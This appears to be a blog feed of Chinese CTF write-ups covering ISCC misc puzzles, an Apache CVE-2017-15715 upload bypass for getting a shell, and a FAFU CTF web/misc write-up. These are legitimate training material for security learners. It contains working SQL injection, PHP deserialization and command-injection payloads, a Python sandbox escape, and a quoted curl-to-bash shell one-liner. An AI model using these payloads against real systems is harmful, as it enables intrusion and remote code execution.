XCVBQWERTYXSWEFTYHNGRDXCVBTRFVBRFVGYHNWSXZAQWDVFRWSXCDE,QWERTYGRDXCVBIUYHNBVQWERTYEFVGYWDCFTWSXCDEWSXCVWSXCVQWERTYGRDXCVBIUYHNBVQWERTYTRFVBTGBNMJUYZAQWDVFRWSXCFETGBNMJUTRFVBTYUIOJMWSXZAQWDVFRCVGREDQWERTYGRDXCVBZAQWDVFRWSXCFEQWERTYMNBVCDRTGHUWSXCDEGRDXCVBTRFVBTYUIOJMWSXZAQWDVFRCVGREDQWERTYTYUIOJMTGBNMJUYQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYIUYHNBVTGBNMJUYMNBVCDRTGHUTYUIOJMQWERTYTGBNMJUYTRFVGQWERTYGRDXCVBTYUIOJMTYUIOJMGRDXCVBTRFVBQAZSCEIUYHNBVQWERTYTRFVGTGBNMJUYTGBNMJUZAQWDVFRWSXCFEQWERTYWSXZAQWDVFRQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYMNBVCDRTGHUWSXCDEGRDXCVBWSXCVQWERTYEFVGYWDCFTTGBNMJUYMNBVCDRTGHUWSXCVWSXCFEQWERTY(WSX.WSXCDE.,QWERTYYHNMKJTGBNMJUCVGREDQWERTYYHNMKJTGBNMJUYTGBNMJUZAQWDVFRTYUIOJMEFVTQWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYCVGREDMNBVCDRTGHUGRDXCVBXSWEFTYHNIUYHNBVQWERTYWSXZAQWDVFRQWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYTRFVGWSXCDEIUYHNBVIUYHNBVWSXTGBNMJUYZAQWDVFRGRDXCVBWSXCVQWERTYIUYHNBVWSXCDETYUIOJMTYUIOJMWSXZAQWDVFRCVGREDIUYHNBV).QWERTYRFVGYHNWSXCDEMNBVCDRTGHUWSXCDEQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYEFVTTGBNMJUYTGBNMJUMNBVCDRTGHUQWERTYTRFVGWSXCVGRDXCVBCVGRED{WSXIUYHNBVTRFVBTRFVBQWERTYQAZSCEWSXCDEEFVTYHNMKJTGBNMJUYGRDXCVBMNBVCDRTGHUWSXCFEQWERTYTRFVBWSXNBVCXSWERFRFVGYHNWSXCDEMNBVCDRTGHU}QWERTYMNBVCDRTGHUWSXCDEEFVGYWSXCDEMNBVCDRTGHUIUYHNBVWSXCDE-WSXCDEZAQWDVFRCVGREDWSXZAQWDVFRWSXCDEWSXCDEMNBVCDRTGHUWSXZAQWDVFRCVGRED,QWERTYZAQWDVFRWSXCDETYUIOJMEFVGYWDCFTTGBNMJUYMNBVCDRTGHUQAZSCEQWERTYIUYHNBVZAQWDVFRWSXTRFVGTRFVGWSXZAQWDVFRCVGRED,QWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYTYUIOJMTGBNMJUYTRFVBTGBNMJUYWSXCVQWERTYGRDXCVBZAQWDVFRGRDXCVBWSXCVEFVTIUYHNBVWSXIUYHNBV,QWERTYIUYHNBVEFVTIUYHNBVTYUIOJMWSXCDEXSWEFTYHNQWERTYGRDXCVBWSXCFEXSWEFTYHNWSXZAQWDVFRWSXIUYHNBVTYUIOJMMNBVCDRTGHUGRDXCVBTYUIOJMWSXTGBNMJUYZAQWDVFR,QWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYCVGREDMNBVCDRTGHUGRDXCVBXSWEFTYHNXSWEFTYHNWSXZAQWDVFRCVGRED,QWERTYGRDXCVBZAQWDVFRWSXCFEQWERTYTRFVBMNBVCDRTGHUEFVTNBVCXSWERFTYUIOJMGRDXCVBZAQWDVFRGRDXCVBWSXCVEFVTIUYHNBVWSXIUYHNBVQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYGRDXCVBWSXCVWSXCVQWERTYIUYHNBVQAZSCEWSXWSXCVWSXCVIUYHNBVQWERTYEFVGYWDCFTRFVGYHNWSXTRFVBRFVGYHNQWERTYRFVGYHNGRDXCVBEFVGYWSXCDEQWERTYYHNMKJWSXCDEWSXCDEZAQWDVFRQWERTYMNBVCDRTGHUWSXCDEQAZXCDEWVTGBNMJUWSXMNBVCDRTGHUWSXCDEWSXCFEQWERTYYHNMKJEFVTQWERTYNBVCXSWERFMNBVCDRTGHUWSXTGBNMJUYMNBVCDRTGHUQWERTYTRFVBTYUIOJMTRFVGQWERTYTRFVBTGBNMJUYZAQWDVFRTYUIOJMWSXCDEIUYHNBVTYUIOJMIUYHNBVQWERTYGRDXCVBTYUIOJMQWERTYWSXCFEWSXCDETRFVGQWERTYTRFVBTGBNMJUYZAQWDVFR."
STR = STR.replace("WSXCDE",'e')
STR = STR.replace("RFVGYHN",'h')
STR = STR.replace("WSXCV",'l')
STR = STR.replace("TGBNMJUY",'o')
STR = STR.replace("TGBNMJU",'u')
STR = STR.replace("GRDXCVB",'a')
STR = STR.replace("CVGRED",'g')
STR = STR.replace("QWERTYTRFVG",'f')
STR = STR.replace("WSXCFE",'d')
STR = STR.replace("IUYHNBV",'s')
STR = STR.replace("QWERTY",' ')
STR = STR.replace("TRFVB",'c')
STR = STR.replace("QAZSCE",'k')
STR = STR.replace("NBVCXSWERF",'p')
STR = STR.replace("MNBVCDRTGHU",'r')
STR = STR.replace("WSX",'i')
STR = STR.replace("EFVT",'y')
STR = STR.replace("YHNMKJ",'b')
STR = STR.replace("ZAQWDVFR",'n')
STR = STR.replace('XSWEFTYHNXSWEFTYHN','m')
STR = STR.replace('EFVGYWDCFT','w')
STR = STR.replace('TYUIOJM','t')
STR = STR.replace('QAZXCDEWV','t')
STR = STR.replace('XSWEFTYHN','m')
STR = STR.replace('EFVGY','v')
STR = STR.replace('RGNYGC','x')
STR = STR.replace('TRFVG', 'f')
print((STR).upper())

flag:FLAG{ISCC KEYBOARD CIPHER}

Aesop’s secret

帧分析,8张图片拼成一张图片

图片末尾最后一串:

U2FsdGVkX19QwGkcgD0fTjZxgijRzQOGbCWALh4sRDec2w6xsY/ux53Vuj/AMZBDJ87qyZL5kAf1fmAH4Oe13Iu435bfRBuZgHpnRjTBn5+xsDHONiR3t0+Oa8yG/tOKJMNUauedvMyN4v4QKiFunw==

BASE64解密后得到Salted__P开头的字符,推测是AES加密

但是网站直接解密失败,猜测有加密的密钥,尝试密钥为拼成图片里的ISCC

解密得U2FsdGVkX18OvTUlZubDnmvk2lSAkb8Jt4Zv6UWpE7Xb43f8uzeFRUKGMo6QaaNFHZriDDV0EQ/qt38Tw73tbQ==

再次以密钥为ISCC进行一次AES解密,就能得到flag了

flag:flag{DugUpADiamondADeepDarkMine}

他们能在一起吗

扫描二维码得到

UEFTUyU3QjBLX0lfTDBWM19ZMHUlMjElN0Q=

进行base64和url解码得到:PASS{0K_I_L0V3_Y0u!}

分析二维码图片,发现其中还藏有其他文件

用binwalk和dd分离出压缩包,dd if=Reply.png of=1.zip skip=8121 bs=1

其中有文件You won’t Wanna see this.txt,解压密码就是0K_I_L0V3_Y0u!

flag:ISCC{S0rrY_W3_4R3_Ju5T_Fr1END}

Welcome

分离文件得到Welcome.txt,是一串密文,以为是什么加密方式,其实规律在于空格,每个句子一个空格代表0,两个空格代表1,最后得到一串二进制转ascii即可得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
s = '蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條'

s1 = ""

flag = ""

for i in range(len(s)):

if s[i] == ' ' and s[i+1] != ' ' and s[i-1] != ' ':

s1 = s1 + '0'

elif s[i] == ' ' and s[i+1] == ' ':

s1 = s1 + '1'

if len(s1) == 8:

print(s1,chr(int(s1,2)))

flag = flag + chr(int(s1,2))

s1 = ""

print(flag)

flag:flag{ISCC_WELCOME}

无法运行的exe

exe文件用sublime text打开后得到一串密文,用notepad base64解密后得到一个类似png的文件,保存后修改文件头为89 50 4E 47 0D 0A 1A 0A得到正确的png文件,是个二维码,扫描就得到了flag

flag:IScC_2019

最危险的地方就是最安全的地方

一个jpg文件,winhex打开发现里面有东西,修改文件后缀zip,解压后发现是一堆二维码

一个个用winhex打开发现最后一个50.jpg与众不同,flag就藏在里面

flag:15cC9012

没有flag标签,试了几分钟也是挺坑的,还好手快还有前十血emmm

解密成绩单

下载后的文件时一个压缩包,解压需要密码,但是用winhex打开后可以发现文件末尾有504B开头的十六进制数,

发现0908说明存在zip伪加密,将09改为00即可

压缩后时一个exe文件,需要用户名和密码,老样子用winhex打开

发现admin字样,猜测用户名就是admin,密码就是后面那串ISCC开头的字符,这个密码也尝试了挺久的,因为前后存在混淆的字符

最后正确的密码是:ISCCq19pc1Yhb6SqtGhliYH688feCH7lqQxtfa2MpOdONW1wmIleBo4TW5n

登陆后即可获得flag

High起来!

下载后的压缩包解压后得到一张损坏的png图片,在kali下修改png文件头,输入!%xxd进入十六进制编辑

修改文件头为8950后在命令输入!%xxd -r返回原来的编码后保存

修复后得到一个二维码,扫描后的内容:中口由羊口中中大中中中井

查询后发现是一个当铺密码,解密网站http://www.zjslove.com/3.decode/dangpu/index.html 解密后得到:201902252228

但是这个还不是flag,我们可以发现png图片中还隐藏了一个mp3文件,将png改成zip解压得到mp3文件,前面又解密得到了密码,所以很明显就是考察mp3隐写,这就需要使用到工具Mp3stego

解密后得到01.mp3.txt文件,内容是:

1
&#102;&#108;&#97;&#103;&#123;&#80;&#114;&#69;&#116;&#84;&#121;&#95;&#49;&#83;&#99;&#67;&#57;&#48;&#49;&#50;&#95;&#103;&#79;&#48;&#100;&#125;

拿去Unicode解密即可得到flag:flag{PrEtTy_1ScC9012_gO0d}

这里提交的时候也要把flag{}去掉,也是坑

碎纸机

原图可以分离成十个图片,分离后的十张图每张图末尾处都不一样

猜测信息就包含在里面,我们需要将信息提取出来,根据题目提示欧鹏曦文猜测可能需要opencv脚本来提取,但是无奈没写过,只能肉眼识别了

将多出来的这一部分的十六进制复制到notepad++里

点击 设置->首选项->编辑->勾选“显示列边界”->边界宽度设置为51(或26),然后 Ctrl+I ,文本每行就51个字符自动分行了

然后 Ctrl+F->标记->查找目标为0->查找全部 ,就可以给所有0标记颜色,做完这两步后,发现了类似flag的字符:

将10张图片都这样做,选择完整的一边截图然后拼接起来:

flag:Flag={ISCC_is_so_interesting_!}

]]>
ctf
利用Apache解析漏洞(CVE-2017-15715)绕过文件上传限制getshell https://Foxgrin.github.io//posts/6413/ 2019-05-20T07:15:00.000Z 2019-05-20T17:03:05.208Z 这几天做中南大学的院赛web题碰到了一道上传题,正好利用到了去年发布的一个cve,虽然漏洞有点鸡肋,但是作为一种姿势了解一下还是不错的,故此记录总结一下

漏洞概述

在Apache 2.4.0到2.4.29版本中使用到了如下的配置信息:

1
2
3
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>

这是一个php文件的解析表达式,我们可以注意到$,这个解析漏洞的根本原因就是这个$。我们知道$在正则表达式中用来匹配字符串结尾位置,在菜鸟教程中对正则表达符$的解释如下:

1
匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 ‘\n’ 或 ‘\r’。要匹配 $ 字符本身,请使用 \$。

说明了$是可以匹配到字符串结尾的换行符,也就是说,如果我们此时有个文件后缀名为:.php\n,Apache是会将其作为php文件进行解析的

漏洞利用

了解了该解析漏洞,我们便可以利用它来绕过上传的黑名单限制,例如存在下面的上传逻辑:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
}

这里使用到了黑名单过滤方式,但是如果我们利用上述漏洞,上传一个文件名为:1.php\x0a,那么便可以成功绕过黑名单的限制上传php文件

实例演示

实例来自于中南大学的院赛ctf中的一道题,题目名字是upload something

题目页面如下:

上传文件时可以发现,不论正常上传什么文件,login.php都显示bad file

我们抓包可以发现,请求包中额外post一个参数name

这就想到了我们分析的Apache解析漏洞,如果文件名取自$_FILES['file']['name'],就会自动把换行符去掉,而文件名取自post参数name中,就能很好的利用到这个解析漏洞

下面我们上传一个包含换行符的文件,这里需要注意只能时\x0a而不是\x0d\x0a\x0d\x0a的情况是我们直接添加一个换行符,我们利用burp的hex功能在test666.php后面添加一个\x0a

从响应包中可以看到上传成功了,但是相应页面success.html中并没有告诉我们上传文件的目录

但是我们在请求包中还可以看到一个参数dir = /upload/,所以猜测上传目录为·/upload/test666.php%0a

访问成功,最后就是上木马拿shell了

最后我们可以看一下upload.php的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
if(isset($_FILES['file'])) {


$name = basename($_POST['name']);
$ext = pathinfo($name,PATHINFO_EXTENSION);




$ext = pathinfo($name,PATHINFO_EXTENSION);
if(preg_match('/php/',$ext)){
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml'])) {
header("location:hacker.html");
exit('bad file');

}

if(!move_uploaded_file($_FILES['file']['tmp_name'], '../upload/'. $name)){
exit('upload failed');
}else{
header("location:success.html");
}

//move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
}else{
header("location:hacker.html");
exit('bad file');
}
}
?>

验证的逻辑就是首先利用正则匹配验证后缀名是否包含了php,第二步就是利用黑名单过滤,但是由于未过滤php%0a,并且取post参数name作为文件名,所以便可以很好的利用到apache的解析漏洞,另外我们还可以看一下apache配置文件,文件目录在/etc/apache2/conf-available/docker-php.conf

1
2
3
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>

正如我们前面提到的配置文件内容一样,$能匹配到换行符\x0a,这就造成了该解析漏洞

总结

这个漏洞利用的条件如下:

  • 获取文件名时不能用$_FILES['file']['name'],因为他会自动把换行去掉,这一点有点鸡肋
  • Apache版本为2.4.0到2.4.29
  • 服务器必须是linux系统,因为windows环境下不支持后缀名带有换行符\x0a

总体上而言,只要取$FILES['file']['name']作为文件名,就可以无视该解析漏洞,所以该漏洞总体来说实际用处不大,但是由于根本成因在于$,在以后的其他某些漏洞可以还有利用到的地方,作为一种姿势学习一下还是蛮有趣的。

最后附上参考链接:

]]>
ctf
2019-FAFU-ctf WP https://Foxgrin.github.io//posts/10503/ 2019-04-29T07:15:00.000Z 2019-05-20T01:29:45.705Z 第一次办校赛,不得不说问题出现还是挺多的,没考虑到太多人出现平台卡和网络卡的问题,不过办比赛还是学到挺多的

所有题目都已经传到github上面了:https://github.com/Foxgrin/2019-Fafu-ctf

Web

签到

得到flag的条件:md5($_POST['name']) === sha1($_POST['password'])

考察的是md5和sha1函数无法处理数组的特性,处理结果都是NULL

payload:

1
name[]=1&password[]=2

flag:flag{WelCome_To_Fafu_2019_ctf}

login1

扫描目录发现存在.git泄露

使用githack进行还原即可

还原后发现flag文件:{975fdb8c8c79c7c9502834c1baf02b36}

sqli

提示:id is not in whitelist.

猜测注入点在参数id,GET传参id=1得到回显信息

经过fuzz测试,题目通过黑名单的方式过滤了orunion*benchmarksleepifcase

无法使用联合注入,盲注,但是报错注入函数extractvalueupdatexml都未被过滤

尝试payload:

1
?id=1 and extractvalue(1,concat(0x3a,database(),0x3a))%23

发现concat又被过滤了,但是可以用make_set函数来代替

注数据库名payload:

1
?id=1 and extractvalue(1,make_set(3,'~',database()))%23

数据库名:web

因为这里or被过滤了,所以无法使用information_schema库得到表名和列名

猜测列名flag在表名flag中:

1
?id=1 and extractvalue(1,make_set(3,'~',(select flag from flag)))%23

得到flag:flag{1n0rRY_i3_Vu1n3rab13}

黑曜石浏览器

抓包发现响应包头部字段藏有提示字段:hint: include($_GET["file"])

提示考察文件包含,使用php伪协议读取index.php源码:

1
?file=php://filter/convert.base64-encode/resource=index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 

error_reporting(0);

if(!isset($_GET['file'])){
header('hint:include($_GET["file"])');
include('heicore.html');
}

$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
include($file); //class.php
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
if(preg_match("/f1a9/",$file)){
exit();
}else{
$pass = unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin ! ";
}


?>

file_get_contents函数同样用伪协议php://input利用

源代码中还给了提示文件class.php,同样方法读取源代码:

1
2
3
4
5
6
7
8
9
10
<?php
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}

发现是一个Read类,其中魔术方法__toString在当对象被当做字符串时候会自动调用,调用后会执行file_get_contents函数读取文件,结合class.php中的反序列化函数unserialize,我们可以构造对象的序列化字符来读取f1a9.php文件

构造序列化字符的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

<?php
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}

$r = new Read();
$r->file = "f1a9.php";
echo serialize($r);
?>

得到的序列化字符:

1
O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}

最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /?file=class.php&user=php://input&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";} HTTP/1.1
Host: 172.31.19.47
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.1.1968814565.1555932724; _gid=GA1.1.1377480033.1555932724
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 17

the user is admin

login2

密码字段过滤了'#||or

在用户名字段尝试admin'#,回显的信息为:Wrong username / password.

尝试admin' or 1#,回显的信息为:Wrong password for users

回显的信息不同,猜测用户名admin其实是不存在的,并且后台还对我们输入的密码进行了验证

admin' union select 1,2#,回显信息:Wrong password for 1

有注入点,开始常规注入,数据库名为fafuctf,表名为users,列名为username,password

注password:

1
username=admin' union select group_concat(password),2 from users#&password=1

password:8235020a76bf2f8e3e30c500c3f309220d26c544

同样的方法注出用户名为:users

尝试登陆但是失败,观察密码字段

猜测密码字段经过加密,从40位字符可以猜到是sha1加密,结合前面的分析,可以猜测出,后台进行的密码验证为$row['password'] === sha1($_POST['password'])

我们可以通过union构造password字段的查询值,所以最终payload为:

1
username=admin' union select 1,sha1(2)#&password=2

flag:flag{SqLi_InjEc4ion_Is_So_E@Sy}

Blog

扫描后台发现存在备份文件www.zip

审计源码,网站目录如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
html tree
.
├── passage
│ ├── title.php
│ ├── words.php
├── templates
│ ├── About.php
│ ├── Flag.php
│ ├── Link.php
│ ├── passage.php
├── class.php
├── index.php
├── waf.php

审计源码

在index.php中,发现可以通过参数$_GET['page']执行命令,但是该参数经过waf和file_exists的过滤处理,

所以无法通过$_GET['page']函数执行命令

另外发现了反序列化函数,猜测可以构建类,正好根目录下存在文件class.php

跟踪class.php,虽然同样有waf,但是可以绕过,最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /?page=Passge&tip=php://input&tips=O:4:"Blog":1:{s:4:"file";s:26:"%26/bin/ca?%09./templates/Flag";} HTTP/1.1
Host: 172.31.19.53
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

you got this

这个payload其实使用了统配符来绕过WAF,在linux下,/bin/ca? 相当于/bin/cat 。由于过滤了符号 ‘<’ 和空格,所以无法使用 cat ./templates/Flag ,但是我们可以使用%09(Tab)来替换空格,绕过WAF。

另外要注意的是file%26/bin/ca?%09./templates/Flag的长度,%26会被URL解码为&%09会被解码会Tab,所以%26%09长度都相当于1

赛后从福大师傅那里得知单引号能绕过黑名单过滤ca''t,他们给的payload是tips=O:4:"Blog":1:{s:4:"file";s:18:"%;c''at%09./waf.php;";}

另外福大师傅还有;cu''rl\$IFS\$9{x.x.x.x}|bash;直接拿shell的方法

fakebook

注册信息后,在view.php页面,发现url存在参数no存在sql注入,过滤了union select,采用/**/代替空格

  • 注库:?no=0%20union/**/select%201,database(),3,4
  • 注表:?no=0%20union/**/select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=database()
  • 注列:?no=0%20union/**/select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27users%27
  • 注data:?no=0%20union/**/select%201,data,3,4%20from%20users

发现data是一串序列化字符串,并且给出了类的所有信息,结合页面ageblog字段无法显示以及反序列化函数报错信息,猜测后台将data信息取出进行了反序列化处理,并且,在页面下方通过iframe标签将博客页面访问出来,说明可能利用了php的curl扩展对我们注册的博客信息进行请求,并将请求获得的页面内容通过iframe标签显示出来,说明可能存在SSRF漏洞,其原理与读取文件类似,我们通过报错信息知道了网站的绝对目录,便可以利用file协议进行读取任意文件,但是要注意需要序列化处理

最终获得flag的payload:

1
?no=0%20union/**/select%201,data,3,%27O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%20from%20users

将得到的页面内容进行base64解密后获得flag

misc

字符偏移

考察 Linux 文件重定向 flag{You_F0und_4_Supr1s3_1n_These_Bug5:)}

  • 环境部署:

    1.服务端运行 python server.py, 并修改 client.c 中的 ip 和 port
    2.编译 gcc client.c -o bugProgram 并下发

  • 题解:

    1. ./bugProgram 1>/dev/null 即可得到 flag
    2. 也可以 wireshark 抓取流量, 再分析程序流程还原 flag

sandbox

考察 Python3 沙盒绕过 flag{Awes0me_Pyth0n_&_Aw3s0me_Cl4ss}

  • 环境部署:
    1. 修改 flag 权限防止搅屎 chmod o-w flag.txt
    2. 服务端执行 socat tcp-listen:8999,fork exec:"./run.sh",stderr
    3. 做题通过 nc ip 8999
  • 题解:
    • Fuzz 之后发现限制了 import system os bash sh 等关键字, 使用 Python 内建函数以及类的继承绕过限制, 执行 cat flag.txt. Payload:
      print(''.''.__class__.__mro__[1].__subclasses__()[93].__init__.__globals__['sys'].modules['o'+'s'].spawnlp(0, 'cat', 'cat', 'flag'))
      其中 __subclasses__()[93]<class 'codecs.StreamReaderWriter'> 的索引, 视具体情况而定
      s = ''.__class__.__mro__[1].__subclasses__()
      for i in s: print(str(i) + ' ' + str(s,index(i)))

图片隐写

考察png的基本格式
首先把图片开头的几个nop删掉,然后得到图片
之后修改图片宽度,得到写有flag的图片
python脚本如下:

1
2
3
4
5
6
for i in range(16,256):
b=hex(i)[2:]
a=('89504E470D0A1A0A0000000D49484452000003'+b+'000001530802000000989E251C000000017352474200AECE1CE90000000467414D410000B18F0BFC61050000000970485973000012740000127401DE661F7800000B0349444154785EEDDD4B76A3C81200D0DA80861A6BA89987F5F6BFB3973F10E447266D49B6AAEF9D741982CC48A04F4421E4FA030000000000000000000000000000000000000000000000F0DF743A5F2ED7E47C8A3F9ECE51FC23BC3DF73300FF98D3E5E3EFDFFF2DAEE7B0E97CFD1B7C5C5E56EE62797DC7DA7AEB7A93CBE57CD222FC3E0FBC9FE38DEA1203F0B362EF169AB650DA42554AC2C657766FE7EB92C05B15C553C83BB5BBB5D4FEF2AB3CEE7E5EFEAAF3E13203F06352356A0ADBEBBAB73053A8857F43317CA7DEADB4BCA98A5FD28772D1E5121AD1BFBBB21E7BBC8F776B4CFF3D8FBC9F4FE7D2C0E9DF00F821A57BAB2AD1CBBAB73CFDBB7537E76B28DE87D2CE91BAB71FF6E8FB395F56ED1B003FA334223FD5BDE589DEAC0C8696F3684FA67BFB151E7D3FE7BF74E8DE0078B5FC3DBCDC8884C2963EFB5BBE3A30A876E190F48EFE4770BDDE7B433F076EC3F2B7FEEACF47BBDDDBEE1B82F97B0179A43054DAB655076FB24B9B5A47731B3AD4BDE5314BE4FAF16A73C6F2295D53FE7ECE9F5FA3F93316A3CAFC31EE4E607028D56D0E25E1DD67E7F3ABC8CB1864B7BB9FD3D0EBC0697FB2A4D91E1E94D9CA3EDD1B003F233D16AA2C05AEEDDEFA2FE9C7F7D54AC0AA1319DB977EC7D3EDDED6D96391CC23AC06237482C3C626B9A9DCC6965377E788DCE155AA95B63129E76ACCE3391FBC4653672C24195FE62B118B5E9EC1F154D71CC21165F0E5DC7C7715C17EAEE05EF03A6EBE1CCDB151D9B50D0DE3B5270B009E2B3FBCC8652994ACF46C617996B156BBF45314EBD5477C86541E3F9C9677B7AB1A168ECC03A6D064898CDBFB65B55F983FC261FB61CA20BBF05DF0121B3B8E18D984A68D0773BBE3D604C433D73D2C3FAC290D419830BB3DD8290D414A3A6F28C1FB3C66723E788D26CE584E32B87D23390CBA7457ED650B1B8FA55A72B8C6CEB09C9DCB250FF795556C272CD37DBEE4D238DE961C678E61CD7D107784C8DB9039B25A3F00BCC8D1F7DE62B92B7F5CB52F75A5AAB6AB73D9B2BDA98C79A2CEECBDACE23069FB769425B81AB9CD643AB7FB62BF138ECA52FF5076EC8CDE7B4B93B68D4259E09AE25CCEC7AED1F7CF581AA21E612ED5E1259E5EC5436F92B2AE6AC814B69B286F697307805738DABDF53455AD14CEDE71A52E56BBFACD4DA9B5836176E5B6B7258BC96D0799CEED80F41C2A1E9BAD8FD16E06DD5B49A62DFFFB53FA809CF703260F3863CBB0B77D93A9961CBA63778C573198B05AE0274BBE6DEFFDEF90F3DF4F1407ACC200E05526BBB753FC40707D833D56B5EDB1BD